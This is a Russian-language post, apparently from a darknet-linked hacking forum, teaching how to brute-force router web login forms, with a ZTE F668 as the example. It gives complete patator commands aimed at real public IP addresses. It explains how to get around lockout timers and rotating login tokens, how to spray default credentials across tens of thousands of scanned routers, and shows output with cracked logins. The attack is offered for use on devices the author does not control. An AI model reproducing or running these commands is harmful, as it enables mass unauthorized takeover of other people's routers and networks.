Брут-форс формы входа роутеров

  • Автор темы HHIDE_DUMP
  • Дата начала
  • Просмотры 746
  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
Формально можно разделить устройства на два типа — те, которые используют аутентификацию на уровне протокола HTTP, — и другие, которые её не используют — в их число входят устройства, использующие HTTP формы для авторизации.

Первый тип устройств довольно легко отличить от второго, открыв устройство в интернет браузере: у них в самом начале всегда появляется всплывающее окно с названием устройства и предложением ввести логин и пароль. Устройства второго типа не выдают подобного приглашения, а сразу открывают веб страницу, на которой также можно авторизоваться.

Но, если вы затрудняетесь визуально определить тип аутентификации, можно изучить HTTP заголовки ответа устройства, а конкретно заголовок WWW-Authenticate — именно он указывает на использование аутентификации на уровне протокола.

Для подбора пароля к таким устройствам Router Scan использует словари пар логин/пароль. Программой поддерживаются два метода аутентификации на уровне протокола:
  • Basic — базовая аутентификация, имя пользователя и пароль обрабатываются обратимым шифром и отправляются в заголовках (подробнее).
  • Digest — дайджест аутентификация, данные для входа необратимо хешируются алгоритмом MD5 и отправляются в заголовках (подробнее).
Для остальных устройств, не использующих эти методы, перебор по словарям не поддерживается (за исключением некоторых моделей, для которых была добавлена поддержка словаря Form аутентификации). Но можно воспользоваться функцией Use credentials в главном окне программы, которая проверяет пару логин/пароль независимо от метода аутентификации.

Итак, Router Scan использует брут-форс форм для авторизации на роутере не для всех моделей, в результате можно получить следующую картину:


Это несколько кучных подсетей в которых в избытке водится роутер ZTE F668. Скажу больше — почти во всех них стандартные логины и пароли, но ни Router Scan, ни RouterSploit не извлекает из них информацию, поскольку на роутере вход выполняется с помощью веб-формы, а для этой модели брут-форс не поддерживается.


Брут-форс веб-форм роутеров
Нам понадобится несколько инструментов. Первый из них — Burp Suite. По приведённой ссылке есть инструкции, в том числе для настройки работы Burp Suite с веб-браузерами — не будем здесь на этом останавливаться, выполните подготовительные действия самостоятельно.

Итак, открываем в веб-браузере интересующий нас роутер:


и убеждаемся, что Burp Suite действительно видит передаваемые данные:


Теперь отправляем заведомо неправильные данные, например, имя пользователя 11111111 и пароль 22222222:


Переходим к анализу в Burp Suite:


Данные отправляются методом POST, на страницу / (корневая папка) отправляется HTTP заголовок с кукиз Cookie: _TESTCOOKIESUPPORT=1, передаётся строка вида:
Код:
frashnum=&action=login&Frm_Logintoken=0&Username=11111111&Password=22222222


Смотрим ответ, для начала переключаемся на рендер:


Отлично, в ответе содержится слово Error, поищем его в сырых передаваемых данных:


Анализируем обычный ответ, без ввода пароля:


Там также встречается слово Error, то есть его наличие ни о чём не говорит — такой маркер не подходит для брут-форса. Надеюсь, самые внимательные заметили, что в ответе, пришедшем на аутентификацию, найдено два совпадения с Error, а в обычном ответе, только одно. Смотрим ещё раз ответ после попытки аутентификации:


В этом ответе содержится очень характерная строка:
Код:
User information is error, please input again.

Брут-форс роутеров
Для брутфорса я буду использовать программу patator.

В общем виде, в самом простом случае, наша команда будет иметь следующий вид:
Код:
patator http_fuzz url="..." method=POST body='...' 0=... 1=... accept_cookie=1 header='Cookie: ...' -x ignore:fgrep='...' -t 1
Теперь давайте заполним пробелы.

В качестве URL будет IP адрес роутера, например, 58.8.246.217, в качестве body нам нужно взять передаваемую строку, в нашем случае это:
Код:
frashnum=&action=login&Frm_Logintoken=0&Username=11111111&Password=22222222
И в ней в том месте, где имя пользователя, вставим FILE0, а вместо пароля вставим FILE1. В моём случае получилось:
Код:
body='frashnum=&action=login&Frm_Logintoken=0&Username=FILE0&Password=FILE1'
Теперь нам нужно указать путь до словарей. Словарь с именами пользователей у меня называется users.txt и расположен в той же папке, где я запускаю patator. Содержимое моего небольшого словаря:
Код:
admin

root

Admin
Таким образом, я указываю имя словаря строкой 0=users.txt
Файл с паролями у меня называется passwords.txt, путь до него я указываю строкой 1=passwords.txt.

Содержимое моего файла passwords.txt:
Код:
admin

password

1234

root

Admin

12345
Вспомним, что при отправке запроса также отправляется заголовок с куки _TESTCOOKIESUPPORT=1, поэтому к нашей команде мы добавляем
Код:
header='Cookie: _TESTCOOKIESUPPORT=1'.
Теперь нам нужно установить условие, по которому будет определяться, выполнен вход или нет. Этой строкой является «User information is error, please input again», поэтому для игнорирования ответов, содержащих указанную строку, мы запишем следующую опцию: -x ignore:fgrep='User information is error'. Я немного сократил строку, так как точки и запятые у patator вызывают ошибки. Команда ignore говорит не сообщать о результатах, которые соответствуют следующему за двоеточием условию. Команда fgrep означает поиск строки в полученных данных. Для точного сообщения используется команда mesg, а для поиска по регулярному выражению есть команда egrep.

Собираем всё вместе:
Код:
patator http_fuzz url="58.8.248.33" method=POST body='frashnum=&action=login&Frm_Logintoken=0&Username=FILE0&Password=FILE1' 0=users.txt 1=passwords.txt accept_cookie=1 header='Cookie: _TESTCOOKIESUPPORT=1' -x ignore:fgrep='User information is error' -t 1
Получаем такой результат:
16:11:25 patator INFO - Starting Patator v0.7 (
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
) at 2018-08-15 16:11 MSK

16:11:25 patator INFO -

16:11:25 patator INFO - code size:clen time | candidate | num | mesg

16:11:25 patator INFO - -----------------------------------------------------------------------------

16:11:26 patator INFO - 302 304:0 0.666 | admin:password | 2 | HTTP/1.1 302 Moved Temporarily

16:11:27 patator INFO - 200 6882:6608 2.002 | admin:root | 4 | HTTP/1.1 200 OK

16:11:27 patator INFO - 200 6882:6608 2.002 | root:1234 | 9 | HTTP/1.1 200 OK

16:11:27 patator INFO - 200 6882:6608 2.002 | root:12345 | 12 | HTTP/1.1 200 OK

16:11:27 patator INFO - 200 6882:6608 2.001 | Admin:admin | 13 | HTTP/1.1 200 OK

16:11:27 patator INFO - 200 6882:6608 2.002 | Admin:Admin | 17 | HTTP/1.1 200 OK

16:11:27 patator INFO - 200 6882:6608 2.002 | Admin:12345 | 18 | HTTP/1.1 200 OK

16:11:27 patator INFO - 200 6882:6608 2.145 | admin:admin | 1 | HTTP/1.1 200 OK

16:11:28 patator INFO - 200 6882:6608 2.352 | root:root | 10 | HTTP/1.1 200 OK

16:11:28 patator INFO - 200 6882:6608 2.555 | admin:Admin | 5 | HTTP/1.1 200 OK

16:11:28 patator INFO - 200 6882:6608 2.760 | root:password | 8 | HTTP/1.1 200 OK

16:11:28 patator INFO - 200 6882:6608 2.964 | Admin:1234 | 15 | HTTP/1.1 200 OK

16:11:29 patator INFO - 200 6882:6608 2.002 | admin:1234 | 3 | HTTP/1.1 200 OK

16:11:29 patator INFO - 200 6882:6608 4.004 | root:Admin | 11 | HTTP/1.1 200 OK

16:11:29 patator INFO - 200 6882:6608 4.003 | Admin:root | 16 | HTTP/1.1 200 OK

16:11:29 patator INFO - Hits/Done/Skip/Fail/Size: 15/18/0/0/18, Avg: 3 r/s, Time: 0h 0m 4s


Это странный результат, как будто бы почти все логины и пароли оказались верными.

Обратим внимание на строку с 302 Moved Temporarily. Она говорит о том, что при вводе учётных данных admin:password роутер хотел нас куда-то перенаправить. Видимо, это и есть правильные учётные данные (логинимся на роутере для проверки), а всё остальное это ложные срабатывания. Подумаем, как это могло получиться?

Получается что по каким то причинам роутер перестаёт отправлять строку «User information is error». Можно предположить, что после аутентификации, роутер запоминает наш IP и теперь все входы с этого адреса разрешены. Это можно проверить открыв в браузере страницу роутера. В моём случае это предположение не подтвердилось.

Самой вероятной причиной может быть защита от брутфорса. Попробуем быстро ввести несколько раз неправильные учётные данные. Точно:


Причина найдена, вместо строки «информация о пользователе это ошибка», нам показывают «You have input the wrong username or password for three times. Please try again a minute later», то есть «вы ввели имя пользователя или пароль неправильно три раза. Попробуйте снова через минуту».

Программа patator поддерживает одновременное использование нескольких опций -x и можно было бы добавить -x ignore:fgrep='You have input the wrong username or password for three times', но это не решает главную проблему: после трёх неправильных попыток нужно подождать 1 минуту. Для её исправления можно установить временной интервал между попытками в 1 минуту: --rate-limit=60

Но вспомним, что при вводе верных учётных данных происходит переадресация — сервер возвращает код 302:


Поэтому можно использовать конструкцию из двух опций: -x quit:code=302 и -x ignore:code=200. Перед двоеточием идёт команда, а затем условие, при котором выполняется эта команда. В первой строке quit означает выйти, как только получен код 302, то есть пароль найден и продолжать не нужно. Вторая команда ignore означает не показывать полученные данные при получении кода 200.

В результате получается команда:
Код:
patator http_fuzz url="58.11.48.84" method=POST body='frashnum=&action=login&Frm_Logintoken=0&Username=FILE0&Password=FILE1' 0=users.txt 1=passwords.txt accept_cookie=1 header='Cookie: _TESTCOOKIESUPPORT=1' -t 1 -x quit:code=302 -x ignore:code=200 --rate-limit=61

Случайные величины в форме входа
Если сделать несколько попыток входа и изучить передаваемые данные, то можно заметить, что значение переменной Frm_Logintoken меняется.

Конкретная величина прописана в JavaScript коде:
Код:
getObj("Frm_Logintoken").value = "2";



И она меняется время от времени. Если передавать строку с неверно установленным токеном Frm_Logintoken, то роутер не примет даже правильный пароль. Это ещё одна защита от брутфорса. К счастью, patator имеет встроенный механизм обхода такой защиты.

Для этого используются опции before_urls и before_egrep. Опция before_urls указывает, какую страницу нужно загрузить до того, как будет сделана попытка аутентификации. А опция before_egrep ищет по заданному регулярному выражению в исходном коде страницы, полученной с помощью before_urls.

Для брут-форса исследуемого роутера нужно предварительно получить тот же адрес на котором вводятся данные, то есть before_urls=58.11.48.84.

Пример поиска по регулярному выражению: before_egrep='_N1_:getObj\("Frm_Logintoken"\).value = "(\w+)"'

Здесь переменной _N1_ присваивается значение обратной ссылки — выражения в скобках. \w+ обозначает главные составные символы, это синоним для «[_[:alnum:]]». Ещё раз — обратите внимание на скобки — это обратная ссылка. При этом в исходном фрагменте кода также присутствуют скобки — их нужно экранировать.

Также меняется передаваемая строка:
Код:
body='frashnum=&action=login&Frm_Logintoken=_N1_&Username=FILE0&Password=FILE1'.
Теперь в ней используется _N1_ для присвоения значения параметру Logintoken.

Если роутер (или веб-приложение) устанавливает кукиз со случайным значением, то достаточно использовать before_urls в паре с accept_cookie=1 (принимать кукиз для последующей передачи).

Полная команда для брут-форса формы входа, с учётом всех нюансов исследуемой модели роутера, выглядит так:
Код:
patator http_fuzz url="58.11.48.84" method=POST body='frashnum=&action=login&Frm_Logintoken=_N1_&Username=FILE0&Password=FILE1' 0=users.txt 1=passwords.txt accept_cookie=1 header='Cookie: _TESTCOOKIESUPPORT=1' -t 1 -x quit:code=302 -x ignore:code=200 --rate-limit=61 before_urls=58.11.48.84 before_egrep='_N1_:getObj\("Frm_Logintoken"\).value = "(\w+)"'

Оптимизация брут-форса путём атаки сразу на несколько целей
Одна попытка в минуту это довольно медленно. Кстати, ведь в рассматриваемых условиях мы можем делать по три попытки в минуту, затем делать паузу. Не уверен, можно ли это сделать встроенным средствами patator.

Зато в patator есть очень полезный алгоритм, который используется по умолчанию при брут-форсе большого количества объектов. Можно запустить перебор учётных данных сразу на множестве роутеров. Для этого в качестве цели с опцией url укажите файл, например, url=FILE2, также укажите путь до самого файла: 2=routers_IP.txt. patator будет работать следующим образом: пробовать один логин:пароль на первом роутере, затем переходить ко второму роутеру и там пробовать один логин:пароль, затем к следующему, пока список не кончится. Когда список завершится, то patator зайдёт на второй круг и для первого роутера попробует вторую пару логин:пароль, затем перейдёт к следующему роутеру и так далее. В результате возникает естественная задержка между попытками ввода на одном роутере — пока делаются попытки входа на следующих в списке, каждому роутеру даётся время «передышки». Это позволяет значительно сократить значение —-rate-limit или вовсе не использовать, так как если одновременно брут-форсятся десятки тысяч роутеров, то очередь до каждого роутера может доходить более чем через минуту. Номер файла имеет значение! То есть в начале полный круг проходится для файлов с номером 0. Это могут быть, например, имена пользователей. Если вы будете брать адреса роутеров для брут-форса из файла с номером 0, то patator будет атаковать только первый в списке роутер и перейдёт к следующему только тогда, когда закончатся логины и пароли для проверки.

На случай если найдены верные логин:пароль, то вместо команды quit (выход из программы), нужно использовать команду free (остановка тестирования хоста после нахождения валидного пароля) примерно следующим образом: -x free=url:code=302



Заключение
Итак, мы рассмотрели брут-форс роутера на примере конкретной модели. Мы столкнулись почти со всеми возможными проблемами, которые могут возникнуть при брут-форсе как роутеров в веб-формой входа, так и других веб-приложений, также использующих веб-форму для аутетификации. Разве что, не была рассмотрена ситуация с капчей и использованием набора прокси для ускорения процесса.

В целом алгоритм всегда примерно одинаковый:
  • Анализ передаваемых данных. Это удобно делать с помощью Burp Suite. Особое внимание следует уделить произвольно меняющимся полям, кукиз, значению реферера и значению user-agent (это всё передаётся в HTTP заголовках)
  • Анализ возвращаемых данных и поиск самых характерных маркеров и событий, свидетельствующих о правильности или неправильности логина и пароля
  • Перед запуском брут-форса следует сделать проверку на методы противодействия брут-форсу
  • В качестве маркера, который говорит patator об успешности входа, нужно выбирать строку или событие, у которого меньше всего вероятность вызвать ложное срабатывание
  • Некоторым видам защит (например, блокировка после нескольких неправильных попыток) невозможно противодействовать, но можно оптимизировать процесс атаки различными способами
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2024

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя